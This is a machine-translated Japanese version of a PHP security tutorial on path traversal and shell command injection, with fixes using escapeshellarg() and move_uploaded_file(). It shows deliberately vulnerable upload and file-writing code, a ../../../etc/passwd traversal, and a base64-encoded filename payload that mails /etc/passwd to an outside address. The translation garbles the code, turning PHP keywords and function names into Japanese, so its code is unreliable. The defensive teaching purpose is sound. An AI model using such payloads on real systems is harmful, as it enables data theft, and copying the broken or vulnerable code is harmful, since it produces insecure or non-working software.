セキュリティ問題に注意を払うことの重要性 すべてを見ることの重要
性 ユーザーがプログラムに悪意を持ってダメージを与えるのを防ぐための最も効果的であるにもかかわらず、見落とされがちな方法は、コードを記述するときにその可能性を考慮することです。コード内で起こり得るセキュリティ上の問題を認識することが重要です。 PHP で大きなテキスト ファイルを作成するプロセスを簡略化するために設計された次の関数例を考えてみましょう:
<?php
function write_text($filename, $text="") {
静的 $open_files = array();
// ファイル名が空の場合は、すべてのファイルを閉じます
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
true を返します。
}
$index = md5($ファイル名);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) は false を返します。
}
fputs($open_files[$index], $text);
true を返します。
}
?>
この関数は、ファイル名とファイルに書き込まれるテキストという 2 つのデフォルト パラメータを取ります。
この関数は最初にファイルが既に開いているかどうかを確認し、開いている場合は元のファイル ハンドルが使用されます。それ以外の場合は、自動的に作成されます。どちらの場合も、テキストはファイルに書き込まれます。
関数に渡されたファイル名が NULL の場合、開いているファイルはすべて閉じられます。使用例を以下に示します。
開発者が次の形式で複数のテキスト ファイルを作成すると、この関数はより明確で読みやすくなります。
この関数が、この関数を呼び出すコードを含む別のファイルに存在すると仮定します。
以下はそのようなプログラムです。これを quotes.php と呼びます:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
引用の性質を選択してください:
<select name="quote" size="3">
<option value="funny">ユーモアのある引用</option>
<option value="political">政治的な引用</option>
<option value="love">ロマンチックな名言</option>
</選択><br />
引用: <input type="text" name="quote_text" size="30" />
<input type="submit" value="見積もりを保存" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>見積もりを保存しました!</h2></center>";
} それ以外 {
echo "<center><hr><h2>引用の書き込みエラー</h2></center>";
}
書き込みテキスト(NULL);
?>
ご覧のとおり、開発者は write_text() 関数を使用して、ユーザーがお気に入りの引用文を送信し、テキスト ファイルに保存できるシステムを作成しました。
残念ながら、開発者は、このプログラムによって悪意のあるユーザーが Web サーバーのセキュリティを侵害できるとは考えていなかったのかもしれません。
おそらくあなたは今、この一見無害に見えるプログラムがどのようにセキュリティ リスクを引き起こす可能性があるのか疑問に思って頭を悩ませているかもしれません。
見分けがつかない場合は、次の URL を検討してください。このプログラムが quotes.php という名前であることを思い出してください
:
http://www.somewhere.com/fun/quotes.php?quote=Difference_file.dat"e_text=garbage+data
URL が渡される Web サーバーを使用するとどうなりますか?
明らかに quotes.php が実行されますが、必要な 3 つのファイルの 1 つに引用符を書き込む代わりに、文字列のガベージ データを含む Different_file.dat という新しいファイルが作成されます。
明らかに、これは望ましくない動作です。悪意のあるユーザーが UNIX パスワード ファイルにアクセスし、引用符を ../../../etc/passwd として指定してアカウントを作成する可能性があります (ただし、これには Web サーバーがスーパーユーザーとしてプログラムを実行する必要があります)。もしそうなら、読むのをやめて今すぐ修正してください)。
/home/web/quotes/ にブラウザ経由でアクセスできる場合、おそらくこのプログラムの最も深刻なセキュリティ問題は、任意のユーザーが任意の PHP プログラムを作成して実行できることです。これでは際限のないトラブルが発生します。
ここではいくつかの解決策を紹介します。ディレクトリにいくつかのファイルを書き込むだけの場合は、関連する配列を使用してファイル名を保存することを検討してください。ユーザーが入力したファイルがこの配列に存在する場合、安全に書き込むことができます。もう 1 つのアイデアは、ディレクトリ区切り文字が存在しないようにするために、文字または数字以外の文字をすべて削除することです。もう 1 つの方法は、ファイル拡張子をチェックして、ファイルが Web サーバーによって実行されないことを確認することです。
原理は単純で、開発者は、プログラムを実行したいときにプログラムが何を行うかよりも考えなければなりません。
フォーム要素に不正なデータが入力された場合はどうなりますか?悪意のあるユーザーによってプログラムが意図しない動作をする可能性がありますか?こうした攻撃を阻止するにはどうすればよいでしょうか? Web サーバーと PHP プログラムは、最も弱いセキュリティ リンクの下でのみ安全であるため、これらの安全ではない可能性のあるリンクが安全であることを確認することが重要です。
よくあるセキュリティ関連の間違い ここでは、セキュリティを損なう可能性のあるコーディングおよび管理上の間違いの要点をいくつか示します
。データを信頼する これは、PHP プログラムのセキュリティに関する私の議論全体に貫かれているテーマです。外部から来たデータを決して信頼してはなりません。ユーザーが送信したフォーム、ファイル システム上のファイル、または環境変数からのデータであっても、単なる当然のデータとみなすことはできません。したがって、セキュリティを確保するには、ユーザー入力を検証し、フォーマットする必要があります。
間違い2。 Web ディレクトリへの機密データの保存 すべての機密データは、データを使用する必要があるプログラムとは別のファイル、およびブラウザからアクセスできないディレクトリに保存する必要があります。機密データを使用する必要がある場合は、include または require ステートメントを使用して適切な PHP プログラムに機密データを含めます。
間違い3。推奨される安全上の注意事項を守らなかった場合
PHP マニュアルには、PHP プログラムの使用および作成時のセキュリティ上の注意事項に関する完全な章が含まれています。このマニュアルでは、ケーススタディに基づいて、潜在的なセキュリティ リスクが存在する場合と、それを最小限に抑える方法についても (ほぼ) 明確に説明しています。別の例では、悪意のあるユーザーが開発者や管理者のミスを利用して、システムのアクセス許可を取得するために重要なセキュリティ情報を取得します。これらの警告に注意し、悪意のあるユーザーがシステムに実際の損害を与える可能性を減らすために適切な措置を講じてください。
PHP でのシステム コールの実行 PHP でシステム コールを実行するには、さまざまな方法があります。
たとえば、system()、exec()、passthru()、popen()、およびバッククオート (`) 演算子を使用すると、プログラム内でシステム コールを実行できます。これらの機能を不適切に使用すると、悪意のあるユーザーがサーバー上でシステム コマンドを実行する可能性があります。ファイルにアクセスする場合と同様、ほとんどの場合、システム コマンドの実行につながる信頼性の低い外部入力によってセキュリティの脆弱性が発生します。
システムコールを使用したプログラムの例 http ファイルのアップロードを処理するプログラムを考えてみましょう。このプログラムは、zip プログラムを使用してファイルを圧縮し、指定されたディレクトリ (デフォルトは /usr/local/archives/) に移動します。コードは次のとおりです。
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) 。
"/{$_FILES['ファイル']['名前']}.zip";
$filename = ベース名($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`
if (file_exists($cmp_name)) {
$savepath = $store_path.$ファイル名;
名前を変更($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" メソッド = "POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
圧縮するファイル: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
このプログラムは非常にシンプルで理解しやすいように見えますが、悪意のあるユーザーが悪用する方法がいくつかあります。
最も深刻なセキュリティ問題は、圧縮コマンドを (` 演算子を使用して) 実行するときに存在します。これは、
次の行ではっきりとわかります。
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) 。
"/{$_FILES['ファイル']['名前']}.zip";
$ファイル名 = ベース名($cmp_name)
if (file_exists($tmp_name);
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
プログラムをだまして任意のシェル コマンドを実行させるこのコードは非常に安全に見えますが、ファイルのアップロード権限を持つすべてのユーザーに任意のシェル コマンドの実行を許可してしまう可能性があります。
正確に言うと、このセキュリティ脆弱性は $cmp_name 変数の割り当てに起因します。ここでは、圧縮ファイルのファイル名を、クライアントからアップロードしたときと同じにする必要があります (拡張子は .zip)。 $_FILES['file']['name'] (クライアントにアップロードされたファイルのファイル名が含まれます) を使用しました。
このような状況では、悪意のあるユーザーは、特別な意味を持つ文字を含むファイルを基礎となるオペレーティング システムにアップロードすることで目的を達成できます。たとえば、以下に示すようにユーザーが空のファイルを作成した場合はどうなるでしょうか? (UNIX シェル プロンプトから)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
システム($コード);';"
このコマンドは、次の名前のファイルを作成します:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
システム($コード);';
奇妙に見えますか?この「ファイル名」を見てみましょう。このファイル名は、CLI バージョンの PHP に次のコードを実行させるコマンドによく似ていることがわかります:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
システム($コード);
?>
興味本位で $code 変数の内容を表示すると、 [email protected] < /etc/passwd が含まれていることがわかります。ユーザーがこのファイルをプログラムに渡し、PHP がシステムコールを実行してファイルを圧縮すると、PHP は実際に次のステートメントを実行します:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
システム($code);';.zip /tmp/phpY4iatI
驚くべきことに、上記のコマンドは 1 つのステートメントではなく 3 つのステートメントです。 UNIX シェルはセミコロン (;) をシェル コマンドの終わりと別のコマンドの始まりとして解釈するため、セミコロンが引用符で囲まれている場合を除き、PHP の system() は実際には次のように実行されます:
[user@localhost]# / usr /bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
システム($コード);'
[user@localhost]# .zip /tmp/phpY4iatI
ご覧のとおり、この一見無害な PHP プログラムが突然、任意のシェル コマンドや他の PHP プログラムを実行できるバックドアに変わりました。この例は、パスに CLI バージョンの PHP が含まれるシステムでのみ機能しますが、この手法を使用して同じ効果を達成する他の方法もあります。
システム コール攻撃に対抗するための
鍵は、
内容に関係なく、ユーザーからの入力を信頼すべきではないということです。システム コールを使用するときに (システム コールをまったく使用しない以外に) 同様の状況をどのように回避するかという問題は残ります。このタイプの攻撃に対抗するために、PHP は 2 つの関数、escapeshellarg() とscapeshellcmd() を提供します。
escapeshellarg() 関数は、システム コマンド (この場合は zip コマンド) への引数として使用されるユーザー入力から潜在的に危険な文字を削除するように設計されています。この関数の構文は次のとおりです:
escapeshellarg($string)
$string はフィルタリングに使用される入力であり、戻り値はフィルタリングされた文字です。この関数を実行すると、文字の周囲に一重引用符が追加され、元の文字列内の一重引用符がエスケープ (前に置かれます) されます。このルーチンでは、システム コマンドを実行する前に次の行を追加すると、
$cmp_name =scapeshellarg($cmp_name);
$tmp_name = エスケープシェルラーg($tmp_name);
システム コールに渡されるパラメータが処理済みであり、他の意図のないユーザー入力であることを保証することで、このようなセキュリティ リスクを回避できます。
scapeshellcmd() は、基礎となるオペレーティング システムにとって特別な意味を持つ文字のみをエスケープする点を除いて、escapeshellarg() に似ています。 escapeshellarg() とは異なり、escapeshellcmd() はコンテンツ内の空白を処理しません。たとえば、escapeshellcmd() を使用してエスケープすると、文字
$string = "'こんにちは、世界!';悪のコマンド"
次のようになります:
'hello, world';evilcommand
この文字列がシステム コールの引数として使用された場合でも、シェルはそれを 2 つの別個の引数 ('hello と world'、evilcommand) として解釈するため、正しい結果は得られません。ユーザーがシステムコールの引数リストの一部を入力する場合は、escapeshellarg() の方が良い選択です。
アップロードされたファイルの保護 この記事では、悪意のあるユーザーによってシステム コールがどのようにハイジャックされ、望ましくない結果が生じるかということだけに焦点を当ててきました。
ただし、ここで言及する価値のある別の潜在的なセキュリティ リスクがあります。もう一度ルーチンを見て、次の行に注目してください。
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) 。
"/{
$_FILES['ファイル']['名前']}.zip";
if (file_exists($tmp_name)) {
上記のスニペットのコード行によって引き起こされる潜在的なセキュリティ リスクは、アップロードされたファイルが実際に存在するかどうか (一時ファイル名 $tmp_name で存在します) を最後の行で判断することです。
このセキュリティ リスクは、PHP 自体に起因するものではなく、$tmp_name に保存されているファイル名が実際にはファイルではなく、悪意のあるユーザーがアクセスしようとしているファイル (/etc/passwd など) を指しているという事実から発生します。
これを防ぐために、PHP には is_uploaded_file() 関数が用意されています。この関数は file_exists() と同じですが、ファイルが実際にクライアントからアップロードされたかどうかをチェックする機能も備えています。
ほとんどの場合、アップロードされたファイルを移動する必要があります。PHP には、is_uploaded_file() と連携する move_uploaded_file() 関数が用意されています。この関数は、rename() と同様にファイルを移動するために使用されます。ただし、実行前に、移動されたファイルがアップロードされたファイルであるかどうかを自動的にチェックします。 move_uploaded_file() の構文は次のとおりです。
move_uploaded_file($filename, $destination);
実行されると、関数はアップロードされたファイル $filename を宛先 $destination に移動し、操作が成功したかどうかを示すブール値を返します。
注: John Coggeshall は、PHP コンサルタント兼著者です。 PHP を中心に寝るようになって約 5 年になります。
英語原文: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html